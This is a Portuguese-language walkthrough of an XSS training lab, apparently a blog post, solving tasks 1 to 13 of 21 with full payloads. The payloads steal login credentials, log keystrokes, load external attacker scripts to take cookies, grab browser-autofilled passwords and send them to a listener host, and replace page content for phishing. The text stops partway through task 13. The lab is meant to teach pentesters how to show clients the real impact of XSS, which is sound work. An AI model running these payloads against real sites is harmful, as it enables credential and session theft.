Home Beyond the alert()
Post
Cancel

Beyond the alert()

bta

Introdução

Ao longo do tempo em que faço parte da comunidade de cibersegurança, tive e tenho contato com vários profissionais que, falando exclusivamente do ponto de vista técnico, são excepcionais, outros muito bons e outros nem tanto.

Faço questão de frisar o termo “ponto de vista técnico”, pois este conhecimento, por mais que seja determinante, ainda não é suficiente para moldar um bom profissional. Também não vou entrar em assuntos generalizados de soft skills, pois isso se tornaria um papo para outras ocasiões.

O lugar onde quero chegar é: na dificuldade que vejo com frequência de um cara bom, saber comunicar o impacto dos findings em um projeto de cibersegurança ao ponto que seu trabalho seja compreendido e reconhecido pelo cliente (sim, quem tem que compreender o risco de uma vulnerabilidade é o cliente, não os outros coleguinhas da área), em outras palavras, saber hackear não significa absolutamente nada na área de segurança, SE você não souber demonstrar o impacto do seu hacking.

Exemplificando isso tudo aí de cima, vamos supor que o cara encontrou um XSS em um ponto crítico de uma aplicação, e é capaz de exfiltrar diversos dados sensíveis, aí na prova de conceito apresentada pro cliente, a única imagem apresentada é aquele famoso alert(1).

Ok, o alert(1) prova que existe um XSS ali, mas o seu cliente não sabe, e muitas vezes nem tem a obrigação de saber que a execução de uma carga JavaScript no navegador da vítima pode levar a uma infinidade de coisas das mais diversas criticidades. Pra ele seu ataque resultou em abrir um “pop-up” no navegador.

Por outro lado, temos outro viés, onde o cara encontra um XSS, porém não consegue exfiltrar um cookie, por exemplo, seja por um hardening nos headers da aplicação, ou qualquer outro motivo, e por conta disso, não tem a “malicia” de montar um ataque mais elaborado. Com isso, ele acaba categorizando este finding com severidade baixa justamente por não saber ou ter a criatividade de montar ataques mais complexos com JavaScript para causar mais impacto, pois em todo seu aprendizado, nunca acabou saindo do alert(1).

Sabendo que eu não sou um dos caras excepcionais, mas também não sou dos piores (espero eu), vou deixar meus 10 centavos aqui. Com base em alguns treinamentos que já fiz, e outros ataques que já realizei (profissionalmente), decidi criar um material com a intenção de abrir o leque no que diz respeito a ataques baseados em JavaScript.

Se tratam de 21 “tasks baseadas em ataques XSS que evoluem sua complexidade gradativamente. Nada que seja muito complexo no final, afinal a intenção não é ensinar JavaScript, mas sim a “maldade” em causar impacto neste tipo de ataque.

Itachi

O projeto se chama Beyond the alert() e foi todo conteinerizado para facilitar a portabilidade e está disponível em https://github.com/h41stur/beyond_the_alert .

Objetivo

Bom, vamos começar com o que não é o objetivo deste projeto:

  • Como comentado acima, o objetivo aqui não é ensinar JavaScript, ainda mais porque saber esta linguagem ao menos no ponto de entender um script, faz parte do básico pra quem é da área.
  • O objetivo não é mostrar como encontrar um XSS, ainda mais porque cada caso é um caso e para facilitar tudo aqui, o ponto de injeção é bem explícito.
  • O objetivo não é mostrar qualquer tipo de bypass, bypass é uma ciência completa, e não existe uma forma de ensinar, justamente porque não existe a forma certa.

Com isso em mente, podemos dizer claramente que o objetivo do projeto Beyond the alert() é exclusivamente expandir os horizontes de ataque, quando uma situação de XSS é encontrada. Tendo em vista dois pontos principais:

  1. Saber demonstrar o impacto de um XSS encontrado;
  2. Encontrar formas criativas de ataques que possam elevar o nível de criticidade de um XSS encontrado.

Obtendo o Projeto

O projeto está disponível em meu GitHub no endereço https://github.com/h41stur/beyond_the_alert . O Beyond the alert() utiliza como base o contêiner php:7.4-apache e todo o código-fonte das tasks é baseado em HTML e PHP.

Para obter a cópia do projeto, clone o repositório.

1
git clone https://github.com/h41stur/beyond_the_alert.git && cd beyond_the_alert

Para “buildar” o contêiner:

1
docker build -t bta .

Para executar o contêiner, eu sugiro utilizar a flag --rm para autodestruí-lo após sua parada, evitando comprometimento desnecessário de memória.

1
docker run --rm -p 80:80 bta

Após sua execução, ao visitar seu localhost no navegador, seu menu principal estará disponível.

Menu

Resolução das Tasks

Como parte do projeto, deixarei a resolução das tasks, ou pelo menos uma das formas de se resolver cada uma das tasks, uma vez que, ao ter disponível uma linguagem de programação tão abrangente quanto JS, temos várias formas de fazer o mesmo.

Para cada uma das resoluções, tentarei deixar um breve descritivo e algumas referências.

IMPORTANTE

Todas as tasks tem o mesmo ponto de injeção de XSS, o parâmetro GET search=.

Task 1 - Modify HTML Elements

Task 1

Objetivo

O objetivo desta task é modificar o conteúdo dos campos da página, utilizando somente JavaScript injetado em um vetor vulnerável a XSS refletido.

Conhecimento Base

O HTML (HyperText Markup Language) especificado na RFC1866, é a linguagem padrão para a criação de páginas e aplicações web. Ela é usada para estruturar o conteúdo na web de forma que os navegadores possam interpretá-lo e exibi-lo aos usuários.

O HTML usa “tags” para marcar diferentes tipos de conteúdo. Cada tag HTML tem uma função específica e ajuda a descrever o tipo de conteúdo que ela contém.

Já o JavaScript é uma linguagem de programação interpretada que é usada principalmente em páginas da web para adicionar funcionalidades interativas que não podem ser alcançadas apenas com HTML e CSS.

Unindo as informações, é possível interagir, modificar, incluir ou excluir qualquer elemento estático do HTML de forma dinâmica com JavaScript.

Existem métodos específicos para identificar e interagir com elementos HTML, alguns deles são:

  • getElementById()
  • getElementsByClassName()
  • getElementsByName()
  • getElementsByTagName()
  • getElementsByTagNameNS()

Cada elemento HTML também possui diversas propriedades.

Exploração

Primeiramente é preciso ativar o vetor de injeção, nesta task, basta pesquisar qualquer coisa no campo de busca, ou inserir qualquer valor no parâmetro GET search.

Valor refletido

Consultando o HTML da página, podemos obter o contexto onde o código malicioso atuará.

Contexto

Sabemos que, entre as diversas formas de identificar um campo dentro do HTML, nem sempre todas serão possíveis. Como estes campos não tem um ID nem um nome para identificá-los, não podemos utilizar getElementById() nem getElementsByName(). Porém, podemos identificá-los pela classe ou pela própria tag.

Porém, nomes de tags e classes não são únicos em um HTML, portanto, ao capturar estes elementos, o JavaScript irá montar um array com estes elementos, dos quais precisamos indicar qual posição dentro deste array contém o campo que precisamos.

Por exemplo:

1
document.getElementByTagName("h2")

Este objeto irá conter todos os campos cuja tag é um <h2>. Se quisermos, por exemplo, o primeiro <h2>, faremos da seguinte forma:

1
document.getElementByTagName("h2")[0]

E se quisermos o terceiro:

1
document.getElementByTagName("h2")[2]

Ao termos o objeto correspondente ao elemento que precisamos, podemos utilizar a propriedade innerHTML que obtém ou define o conteúdo HTML de um elemento.

O script ficaria da seguinte forma:

1
2
3
4
<script>
	document.getElementsByTagName("h1")[0].innerHTML = "Modificado!";
	document.getElementsByTagName("h2")[2].innerHTML = "Modificado Também!";
</script>

Ao converter para URL Encode:

1
%3Cscript%3E%0A%09document.getElementsByTagName%28%22h1%22%29%5B0%5D.innerHTML%20%3D%20%22Modificado%21%22%3B%0A%09document.getElementsByTagName%28%22h2%22%29%5B2%5D.innerHTML%20%3D%20%22Modificado%20Tamb%C3%A9m%21%22%3B%0A%3C%2Fscript%3E

Gerando a seguinte URL:

Resultado

Referências

Task 2 - Manipulating Forms

Task 2

Objetivo

O objetivo desta task é modificar o formulário de autenticação inserindo um novo campo “Registration Number”. É importante que este campo seja homogêneo com todo o formulário, para parecer de fato parte deste.

Conhecimento Base

O JavaScript nos permite não só manipular elementos HTML, como também criá-los e inseri-los no corpo da página em qualquer lugar, desde que exista uma referência de posicionamento.

Para criar um objeto que contenha um novo elemento, existe o método createElement(). Já para inseri-lo na página de acordo com uma referência existente, existe o método insertBefore().

Exploração

Para objetos do tipo form o JavaScript já possui o método forms que identifica cada formulário dentro do documento, e cria um array com todos (mesmo que só exista um). Portanto, para identificar o primeiro formulário em uma página, podemos fazer da seguinte forma:

1
document.forms[0]

Já para identificar os elementos em um formulário, podemos utilizar o método elements que também cria um array com todos os elementos do formulário. Portanto, para identificar o primeiro elemento de um formulário, podemos fazer da seguinte forma:

1
document.forms[0].elements[0]

Neste caso, para criarmos e inserirmos um novo campo, podemos criar dois objetos, um contendo o novo campo, e outro contendo o campo de referência utilizado para o posicionamento, e logo em seguida invocar o método insertBefore().

1
2
3
4
5
<script>
	var input = document.createElement("input");
	var prev = document.forms[0].elements[0];
	document.forms[0].insertBefore(input, prev);
</script>

Convertendo para URL Encode:

1
%3Cscript%3E%0A%09var%20input%20%3D%20document.createElement%28%22input%22%29%3B%0A%09var%20prev%20%3D%20document.forms%5B0%5D.elements%5B0%5D%3B%0A%09document.forms%5B0%5D.insertBefore%28input%2C%20prev%29%3B%0A%3C%2Fscript%3E

Gerando a seguinte URL:

Form

O campo foi inserido, porém, TEMOS UM PROBLEMA!

O novo campo ficou totalmente desconfigurado, nitidamente um alien dentro do formulário.

Isto aconteceu, pois criamos um novo campo, porém não inserimos nenhum atributo, como classes CSS, ou placeholder para torná-lo natural. Podemos fazer isto com o método setAttribute().

Quando olhamos para o código HTML, podemos ver que os campos input do formulário, estão formatados com a classe CSS input-block-level.

Classes

O código final, fica desta forma:

1
2
3
4
5
6
7
8
9
<script>
	var input = document.createElement("input");
	input.setAttribute("type", "text");
	input.setAttribute("class", "input-block-level");
	input.setAttribute("placeholder", "Registration Number");
	input.setAttribute("name", "regnum");
	var prev = document.forms[0].elements[0];
	document.forms[0].insertBefore(input, prev);
</script>

Convertendo para URL Encode:

1
%3Cscript%3E%0A%09var%20input%20%3D%20document.createElement%28%22input%22%29%3B%0A%09input.setAttribute%28%22type%22%2C%20%22text%22%29%3B%0A%09input.setAttribute%28%22class%22%2C%20%22input-block-level%22%29%3B%0A%09input.setAttribute%28%22placeholder%22%2C%20%22Registration%20Number%22%29%3B%0A%09input.setAttribute%28%22name%22%2C%20%22regnum%22%29%3B%0A%09var%20prev%20%3D%20document.forms%5B0%5D.elements%5B0%5D%3B%0A%09document.forms%5B0%5D.insertBefore%28input%2C%20prev%29%3B%0A%3C%2Fscript%3E

Gerando a seguinte URL:

Form

Referências

Task 3 - Intercept Form Submit

Task 3

Objetivo

O objetivo desta task é interceptar a submissão do formulário ao efetuar login, a princípio esta task pede simplesmente para imprimir um alerta na tela com o usuário e senha ao submeter o formulário.

Conhecimento Base

Event listeners em JavaScript são funções chamadas em resposta a um evento específico que ocorre em um elemento da página. Esses eventos podem ser uma ampla variedade de ações do usuário, como cliques do mouse, movimentos do mouse, pressionamentos de teclas, eventos de foco, eventos de envio de formulário e muitos outros.

É possível programar uma ação que seja ativada por um event listener e execute uma função ou script.

Exploração

Uma vez que conseguimos selecionar determinados elementos do documento HTML e obter seus valores, é possível criar uma função em JavaScript que seja acionada por um event listener relacionado ao evento submit de um formulário.

1
2
3
4
5
6
7
8
9
10
<script>

	function InterceptForm() {
		var username = document.forms[0].elements[0].value;
		var password = document.forms[0].elements[1].value;
		alert(username + ' : ' + password);
	}
	
	document.forms[0].onsubmit = InterceptForm;
</script>

Convertendo para URL Encode:

1
%3Cscript%3E%0A%0A%09function%20InterceptForm%28%29%20%7B%0A%09%09var%20username%20%3D%20document.forms%5B0%5D.elements%5B0%5D.value%3B%0A%09%09var%20password%20%3D%20document.forms%5B0%5D.elements%5B1%5D.value%3B%0A%09%09alert%28username%20%2B%20%27%20%3A%20%27%20%2B%20password%29%3B%0A%09%7D%0A%09%0A%09document.forms%5B0%5D.onsubmit%20%3D%20InterceptForm%3B%0A%3C%2Fscript%3E

Gerando a seguinte URL:

Ao acessar a página, nenhuma alteração é visível, porém, ao preencher os campos de usuário e senha, e submeter o formulário, o alerta é impresso com os dados preenchidos.

Conclusão

Referências

Task 4 - Stealing Form Submissions

Task 4

Objetivo

O objetivo desta task é interceptar a submissão do formulário ao efetuar login, porém, diferente da task 3, desta vez é preciso exfiltrar estas informações, as enviando para uma máquina sob controle do atacante.

Conhecimento Base

No JavaScript, assim como outras linguagens, existem os constructors.

Um “constructor” em JavaScript é um método especial usado parara criar e inicializar um objeto quando você usa a declaração new. Todos os objetos em JavaScript (com exceção dos objetos com um protótipo null ou undefined) têm um construtor.

Alguns exemplos de constructors são:

  • Image(): cria um novo objeto de imagem.
  • Object(): cria um novo objeto vazio.
  • Array(): cria um novo array vazio.
  • Function(): cria uma nova função.
  • Date(): cria um novo objeto de data e hora.
  • RegExp(): cria um novo objeto de expressão regular.

O constructor Image() cria e retorna um novo objeto HTMLImageElement representando um elemento HTML que não está anexado a nenhuma árvore DOM. Ele aceita parâmetros opcionais de largura e altura. Quando chamado sem parâmetros, o new Image() é equivalente a chamar document.createElement('img').

Um elemento HTML do tipo imagem precisa necessariamente do atributo src que indica o endereço da imagem a ser carregada, portanto, o constructor, Image() também precisa, porém, como é um elemento JavaScript, pode ser preenchido com variáveis.

Quando um elemento do tipo img existe em um documento, seja diretamente em código HTML ou inserido via JavaScript, seu atributo src é invocado automaticamente toda vez que a página é invocada, fazendo uma requisição para o endereço configurado.

Exploração

Esta exploração pode seguir, em sua maioria, como na task 3, porém ao invés de invocar um alert() com os dados obtidos, podemos iniciar um constructor do tipo Image() e em seu atributo src apontar para um endereço controlável pelo atacante, concatenado com as variáveis de usuário e senha obtidos. Ficando da seguinte forma:

1
2
3
4
5
6
7
8
9
10
<script>

	function InterceptForm() {
		var username = document.forms[0].elements[0].value;
		var password = document.forms[0].elements[1].value;
		new Image().src = "http://0.0.0.0:8080/?user="+username+"&pass="+password;
	}
	
	document.forms[0].onsubmit = InterceptForm;
</script>

Convertendo para URL Encode:

1
%3Cscript%3E%0A%0A%09function%20InterceptForm%28%29%20%7B%0A%09%09var%20username%20%3D%20document.forms%5B0%5D.elements%5B0%5D.value%3B%0A%09%09var%20password%20%3D%20document.forms%5B0%5D.elements%5B1%5D.value%3B%0A%09%09new%20Image%28%29.src%20%3D%20%22http%3A%2F%2F0.0.0.0%3A8080%2F%3Fuser%3D%22%2Busername%2B%22%26pass%3D%22%2Bpassword%3B%0A%09%7D%0A%09%0A%09document.forms%5B0%5D.onsubmit%20%3D%20InterceptForm%3B%0A%3C%2Fscript%3E

Gerando a seguinte URL:

Podemos iniciar um Python server na porta 8080 configurada para ouvir a requisição feita.

Servidor Python ouvindo

Ao acessar a página, nenhuma alteração é visível, porém, ao preencher os campos de usuário e senha, e submeter o formulário, o constructor Image() tentará carregar o endereço da imagem, que está apontando para o Python server resultando na exfiltração dos dados do formulário.

Dados exfiltrados

Referências

Task 5

Objetivo

O objetivo desta task é alterar o destino de todos os links da página para “https://h41stur.com” (pode alterar para qualquer lugar, desde que altere).

Conhecimento Base

Já vimos em tasks anteriores que o método getElementsByTagName() filtra todos os elementos de um determinado nome de tag e os insere em um array.

Sabendo que um link HTML é criado pela tag <a> e obrigatoriamente precisa do atributo href que aponta para o endereço do link, podemos criar um array com todos os links da página, e iterar sobre ele com um laço for.

Exploração

Montando o script com os elementos.

1
2
3
4
5
6
<script>
	var links = document.getElementsByTagName("a");
	for (i=0; i < links.length; i++){
		links[i].href = "https://h41stur.com";
	}
</script>

Convertendo para URL Encode:

1
%3Cscript%3E%0A%09var%20links%20%3D%20document.getElementsByTagName%28%22a%22%29%3B%0A%09for%20%28i%3D0%3B%20i%20%3C%20links.length%3B%20i%2B%2B%29%7B%0A%09%09links%5Bi%5D.href%20%3D%20%22https%3A%2F%2Fh41stur.com%22%3B%0A%09%7D%0A%3C%2Fscript%3E

Gerando a seguinte URL:

Todos os links da página apontarão para o endereço do script.

Referências

Task 6 - Changing Content to Social Engineering

Task 6

Objetivo

O objetivo desta task é alterar o layout da página, ao substituir o formulário de login por uma mensagem de aviso que redirecione o usuário para outro lugar com objetivos de engenharia social.

Conhecimento Base

A propriedade parentNode em JavaScript é uma propriedade que retorna o nó pai de um elemento específico no Document Object Model (DOM). O DOM é uma representação estruturada de um documento HTML ou XML, aonde cada parte do documento (como elementos, atributos, texto, etc.) é representada como um “nó” em uma estrutura de árvore.

Por exemplo, se você tem um elemento de parágrafo (<p>) dentro de um elemento <div>, o parentNode do parágrafo seria o <div>.

1
2
3
<div id="minhaDiv"> <!-- Nó pai -->
  <p id="meuParagrafo">Olá, mundo!</p> <!-- Nó filho -->
</div>

O método appendChild() em JavaScript é usado para adicionar um novo nó ao final da lista de filhos de um nó pai especificado no Document Object Model (DOM).

O método removeChild() em JavaScript é usado para remover um nó filho de um nó pai específico na estrutura do Document Object Model (DOM). Essencialmente, este método permite que você exclua um elemento existente de uma página web.

O método removeChild() requer um argumento: o nó que você deseja remover. Ele deve ser um nó filho do objeto do qual você está chamando o método.

Exploração

Unindo o que já foi explorado anteriormente com as propriedades de nó, podemos criar um novo elemento que contenha nossa mensagem já importanto a classe que o formate adequadamente, inseri-la dentro do HTML e em seguida, excluir o elemento formulário.

1
2
3
4
5
6
7
<script>
	var input = document.createElement("h2");
	input.setAttribute("class", "h41stur");
	input.innerHTML = "Site fora do ar! Por favor vá para https://h41stur.com";
	document.forms[0].parentNode.appendChild(input);
	document.forms[0].parentNode.removeChild(document.forms[0]);	
</script>

Convertendo para URL Encode:

1
%3Cscript%3E%0A%09var%20input%20%3D%20document.createElement%28%22h2%22%29%3B%0A%09input.setAttribute%28%22class%22%2C%20%22h41stur%22%29%3B%0A%09input.innerHTML%20%3D%20%22Site%20fora%20do%20ar%21%20Por%20favor%20v%C3%A1%20para%20https%3A%2F%2Fh41stur.com%22%3B%0A%09document.forms%5B0%5D.parentNode.appendChild%28input%29%3B%0A%09document.forms%5B0%5D.parentNode.removeChild%28document.forms%5B0%5D%29%3B%09%0A%3C%2Fscript%3E

Gerando a seguinte URL:

Resultado

Referências

Task 7 - Abusing Event Listeners

Task 7

Objetivo

O objetivo desta task é alterar abusar de um event listener para imprimir um alerta com a senha preenchida no campo.

Conhecimento Base

Conforme explorado anteriormente, os event listeners são funções chamadas em resposta a um evento específico que ocorre em um elemento. Existem uma infinidade de event listeners que podem ser utilizados em vários contextos diferentes.

Exploração

A primeira coisa a se observar, é que após enviar uma requisição de login, duas coisas acontecem:

  1. A URL é preenchida com os dados do formulário (algo inconcebível no que diz respeito a segurança, mas considere um exemplo).
  2. O campo email do formulário fica com ser value preenchido com o e-mail informado.

Campo preenchido

Isso significa que, se o campo e-mail não tiver um tratamento de entrada, é possível preenchê-lo com aspas, para sair do contexto value e a partir daí entrar nas propriedades do campo input.

Por exemplo, se pegarmos a seguinte string:

1
" teste="h41stur

Encodá-lo em URL encode:

1
%22%20teste%3D%22h41stur

E injetá-lo na URL no parâmetro email com a seguinte URL:

Ao checarmos o código HTML da página, veremos que saímos do escopo value e criamos uma nova propriedade.

Contexto alterado

Sabendo desta falha, podemos criar um event listener dentro de um event handler attribute para ser injetado no elemento input da seguinte forma:

1
2
3
4
5
" onmouseover="
	document.forms[0].onsubmit = function demo () {
		var pass = document.forms[0].elements[1].value;
		alert(pass);
	}

Convertendo para URL Encode:

1
%22%20onmouseover%3D%22%0A%09document.forms%5B0%5D.onsubmit%20%3D%20function%20demo%20%28%29%20%7B%0A%09%09var%20pass%20%3D%20document.forms%5B0%5D.elements%5B1%5D.value%3B%0A%09%09alert%28pass%29%3B%0A%09%7D

Gerando a seguinte URL:

Com isso, o código HTML foi alterado e o script injetado no event listener.

Event listener

Desta forma, quando o usuário submeter o formulário com usuário e senha, o alerta será impresso com a senha.

Resultado

Referências

Task 8 - Redirect on Click

Task 8

Objetivo

O objetivo desta task é redirecionar o usuário para qualquer outro lugar, sempre que ele efetuar qualquer clique dentro da página.

Conhecimento Base

Conforme explorado anteriormente, os event listeners são funções chamadas em resposta a um evento específico que ocorre em um elemento. Existem uma infinidade de event listeners que podem ser utilizados em vários contextos diferentes.

Com uso de JavaScript, é possível criar event listeners atrelados a qualquer elemento HTML com o método addEventListener().

Exploração

É possível criar uma função de redirecionamento, e atrelar um event listener ao próprio body do documento.

1
2
3
4
5
6
<script>
	function CaughtClick() {
		window.location = "https://h41stur.com";
	}
	document.body.addEventListener('click', CaughtClick, true);
</script>

Convertendo para URL Encode:

1
%3Cscript%3E%0A%09function%20CaughtClick%28%29%20%7B%0A%09%09window.location%20%3D%20%22https%3A%2F%2Fh41stur.com%22%3B%0A%09%7D%0A%09document.body.addEventListener%28%27click%27%2C%20CaughtClick%2C%20true%29%3B%0A%3C%2Fscript%3E

Gerando a seguinte URL:

Ao acessar a URL, qualquer clique dentro da página levará ao redirecionamento.

Referências

Task 9

Objetivo

O objetivo desta task é criar um key logger que irá capturar todas as teclas digitadas por um invasor dentro da página, e enviá-las para a máquina sob controle do atacante.

Conhecimento Base

Os atributos globais de manipulador de evento (event handler) em HTML são atributos que podem ser adicionados a qualquer elemento HTML para definir o comportamento de um elemento quando um evento específico ocorre. Por exemplo, você pode usar um manipulador de eventos para definir o que acontece quando um usuário clica em um elemento, passa o mouse sobre um elemento, pressiona uma tecla do teclado quando um elemento tem foco, e muito mais.

Alguns exemplos de manipuladores de eventos globais são:

  • onkeypress: Este manipulador é acionado quando um usuário pressiona uma tecla e depois a solta.
  • onclick: Este manipulador é acionado quando um usuário clica em um elemento.
  • ondblclick: Este manipulador é acionado quando um usuário clica duas vezes em um elemento.
  • onmouseover: Este manipulador é acionado quando um usuário move o cursor do mouse sobre um elemento.
  • onmouseout: Este manipulador é acionado quando um usuário move o cursor do mouse para fora de um elemento.
  • onkeydown: Este manipulador é acionado quando um usuário pressiona uma tecla do teclado.
  • onload: Este manipulador é acionado quando um elemento, como uma imagem ou um script, terminou de carregar.

Cada um desses manipuladores de eventos pode ser usado para chamar uma função JavaScript que define o que acontece quando o evento ocorre.

A única diferença entre um atributo event handler e um event listener é que os event handlers são uma maneira mais antiga e menos flexível de responder a eventos, pois são inseridos de forma estática diretamente no HTML, enquanto os event listeners oferecem mais controle e permitem múltiplas funções de callback para o mesmo evento no mesmo elemento.

Eventos que capturam teclas pressionadas, geralmente armazenam este buffer em UTF-16, para que estes caracteres sejam transformados em uma string, pode-se utilizar o método estático String.fromCharCode().

Exploração

Para montar este ataque, podemos utilizar o event handler onkeypress para enviar a tecla pressionada para uma função, que por sua vez vai transformar em uma string e enviar via requisição utilizando o constructor Image() para a máquina sob controle do atacante.

1
2
3
4
5
6
<script>
	document.onkeypress = function KeyLogger(inp) {
		key_pressed = String.fromCharCode(inp.which);
		new Image().src = "http://0.0.0.0:8080/?"+key_pressed;
	}
</script>

Convertendo para URL Encode:

1
%3Cscript%3E%0A%09document.onkeypress%20%3D%20function%20KeyLogger%28inp%29%20%7B%0A%09%09key_pressed%20%3D%20String.fromCharCode%28inp.which%29%3B%0A%09%09new%20Image%28%29.src%20%3D%20%22http%3A%2F%2F0.0.0.0%3A8080%2F%3F%22%2Bkey_pressed%3B%0A%09%7D%0A%3C%2Fscript%3E

Gerando a seguinte URL:

Podemos iniciar um Python server na porta 8080 configurada para ouvir a requisição feita.

Servidor Python ouvindo

Ao acessar a página, nenhuma alteração é visível, porém, ao preencher os campos de usuário e senha, a cada tecla pressionada, uma requisição será feita para Python server contendo seu valor.

Resultado

Referências

Task 10 - Invoking External JS

Task 10

Objetivo

O objetivo desta task é criar invocar um script JavaScript externo que por sua vez vai imprimir um alerta com o cookie do usuário, e, em seguida, enviar este cookie para a máquina sob controle do atacante.

Conhecimento Base

O elemento HTML <script> é usado para incorporar código ou dados executáveis; isso é normalmente usado para incorporar ou referir-se ao código JavaScript.

Exploração

Esta exploração se da em duas fases, a primeira consiste em montar um script malicioso e hospedá-lo na máquina sob controle do atacante que será usada como dropper, em seguida montamos um script que será injetado no vetor de XSS.

Script malicioso:

1
2
3
4
window.addEventListener("load", function() {
    alert(document.cookie);
    new Image().src = "http://0.0.0.0:8080/?cookie=" + document.cookie;
});

Script a ser injetado

1
<script src="http://0.0.0.0:8080/script.js"></script>

Convertendo para URL Encode:

1
%3Cscript%20src%3D%22http%3A%2F%2F0.0.0.0%3A8080%2Fscript.js%22%3E%3C%2Fscript%3E

Gerando a seguinte URL:

Podemos iniciar um Python server na porta 8080 que hospeda o script malicioso e configurado para ouvir as requisições feitas.

Python server

Ao acessar a URL, um alerta é impresso com o cookie.

Alerta com o cookie

E logo em seguida este cookie é enviado para a máquina do atacante. Perceba as duas requisições efetuadas pela vítima.

Resolução

Referências

Task 11 - Invoking External JS Using JS

Task 11

Objetivo

O objetivo desta task, assim como a anterior, é criar invocar um script JavaScript externo que por sua vez vai imprimir um alerta com o cookie do usuário, porém, desta vez, a importação deste script deve ser feito com JavaScript.

Conhecimento Base

Já vimos anteriormente que o método createElement() nos possibilita criar qualquer elemento HTML em um documento.

Também vimos que o método appendChild() nos permite criar um nó filho no DOM com base em um nó pai.

Exploração

Seguindo o raciocínio do que já vimos, podemos criar um novo elemento do tipo script usando JavaScript e anexá-lo ao documento com o método appendChild(). Este novo elemento pode importar nosso script malicioso para a página alvo.

Script malicioso:

1
2
3
4
window.addEventListener("load", function() {
    alert(document.cookie);
    new Image().src = "http://0.0.0.0:8080/?cookie=" + document.cookie;
});

Script a ser injetado

1
2
3
4
5
6
<script>
	var newtag = document.createElement('script');
	newtag.type = "text/javascript";
	newtag.src = "http://0.0.0.0:8080/script.js";
	document.body.appendChild(newtag);
</script>

Convertendo para URL Encode:

1
%3Cscript%3E%0A%09var%20newtag%20%3D%20document.createElement%28%27script%27%29%3B%0A%09newtag.type%20%3D%20%22text%2Fjavascript%22%3B%0A%09newtag.src%20%3D%20%22http%3A%2F%2F0.0.0.0%3A8080%2Fscript.js%22%3B%0A%09document.body.appendChild%28newtag%29%3B%0A%3C%2Fscript%3E

Gerando a seguinte URL:

Podemos iniciar um Python server na porta 8080 que hospeda o script malicioso e configurado para ouvir as requisições feitas.

Python server

Ao acessar a URL, um alerta é impresso com o cookie.

Alerta com o cookie

E logo em seguida este cookie é enviado para a máquina do atacante. Perceba as duas requisições efetuadas pela vítima.

Resolução

Referências

Task 12 - Stealing Information from Auto-Complete Fields

Task 12

Objetivo

Um comportamento normal de várias aplicações, é permitir que um usuário salve as credenciais no cofre do navegador, para serem autopreenchidas ao visitar a tela de login.

Este comportamento, por si só, não é vulnerável, porém se esta página de login é vulnerável a XSS, isto pode ser um problema.

O objetivo desta task, é roubar os dados autopreenchidos pela função de armazenar credenciais ativa pela aplicação.

Conhecimento Base

Sabendo que pode haver um intervalo, mesmo que seja quase imperceptível entre o carregamento da página, e o carregamento das credenciais salvas no navegador, não podemos inserir um script de ação imediata. É preciso de um tempo de espera, que também não pode ser alto, pois permitirá que o usuário faça alguma ação que impossibilite o ataque.

Pensando nesse intervalo de tempo, podemos utilizar a função global setTimeout() que cria um timer em milissegundos que executa uma função ou pedaço de código quando o tempo expira.

Neste caso, podemos criar uma função que vai adulterar alguns atributos do formulário como o action e o method, além de inserir um auto-submit quando este timer expirar.

Em outras palavras, com um tempo seguro, podemos enviar as informações autopreenchidas para a máquina sob controle do atacante.

Exploração

Com o uso da função global setTimeout(), podemos executar uma função que irá adulterar o formulário e auto submetê-lo para nossa máquina.

1
2
3
4
5
6
7
<script>
	window.setTimeout(function() {
		document.forms[0].action = "http://0.0.0.0:8080";
		document.forms[0].method = "GET";
		document.forms[0].submit();
	} ,3000);
</script>

Convertendo para URL Encode:

1
%3Cscript%3E%0A%09window.setTimeout%28function%28%29%20%7B%0A%09%09document.forms%5B0%5D.action%20%3D%20%22http%3A%2F%2F0.0.0.0%3A8080%22%3B%0A%09%09document.forms%5B0%5D.method%20%3D%20%22GET%22%3B%0A%09%09document.forms%5B0%5D.submit%28%29%3B%0A%09%7D%20%2C3000%29%3B%0A%3C%2Fscript%3E

Gerando a seguinte URL:

Podemos iniciar um Python server na porta 8080 configurado para ouvir a requisição feita.

Python server

Ao carregar a página, as credenciais armazenadas são carregadas nos campos do formulário.

Formulário autopreenchido

Logo em seguida, os dados são encaminhados para o Python server.

Dados recebidos

Referências

Task 13 - Stealing Information from Auto-Complete Fields with XMLHttpRequest

Task 13

Objetivo

O objetivo desta task, assim como a anterior, é roubar os dados autopreenchidos pela função de armazenar credenciais ativa pela aplicação, porém utilizando o constructor XMLHttpRequest().

Conhecimento Base

AJAX (Asynchronous JavaScript and XML). É uma técnica de desenvolvimento que permite a criação de aplicações interativas. Com AJAX, um navegador pode enviar e receber dados de um servidor de forma assíncrona, sem interferir na exibição e no comportamento da página existente.

Entre as inúmeras implementações do AJAX, algumas interessantes são:

  • Atualizar uma página sem recarregá-la: com AJAX, você pode atualizar o conteúdo de uma página sem ter que recarregar a página inteira.
  • Enviar dados para um servidor em segundo plano: com AJAX, você pode enviar dados para um servidor e receber uma resposta sem recarregar a página.
  • Recuperar dados de um servidor e atualizar a página: com AJAX, você pode recuperar dados de um servidor e usar esses dados para atualizar a página.

O core do AJAX é o constructor XMLHttpRequest(), um objeto incorporado nos navegadores que fornece funcionalidades para buscar dados de um servidor de forma assíncrona, sem precisar interromper a interação do usuário com a página atual. Ele é a base para qualquer tipo de interação AJAX no navegador.

Embora o nome sugira que ele é usado para buscar apenas dados XML, na prática, ele pode ser usado para buscar qualquer tipo de dados, incluindo texto simples, JSON, e até mesmo arquivos binários.

Exploração

Assim com a task anterior, é necessário um tempo mínimo de espera para que o script malicioso entra em ação, portanto ainda precisamos do setTimeout().

Porém, o XMLHttpRequest() nos permitirá ser mais stealth, uma vez que suas requisições não redirecionam o navegador, e acontecem sem que o usuário perceba.

Desta vez, não será necessário submeter o formulário para a máquina sob controle do atacante, ao invés disso, podemos simplesmente capturar os valores dos campos de usuário e senha, e fazer o request de forma silenciosa.

1
2
3
4
5
6
7
8
9
<script>
	window.setTimeout(function() {
		username = document.forms[0].elements[0].value;
		password = document.forms[0].elements[1].value;
		var req = new XMLHttpRequest();
		req.open("GET", "http://0.0.0.0:8080/?username="+username+"&password"+password, true);
		req.send(); 
	}, 3000);
</script>

Convertendo para URL Encode:

1
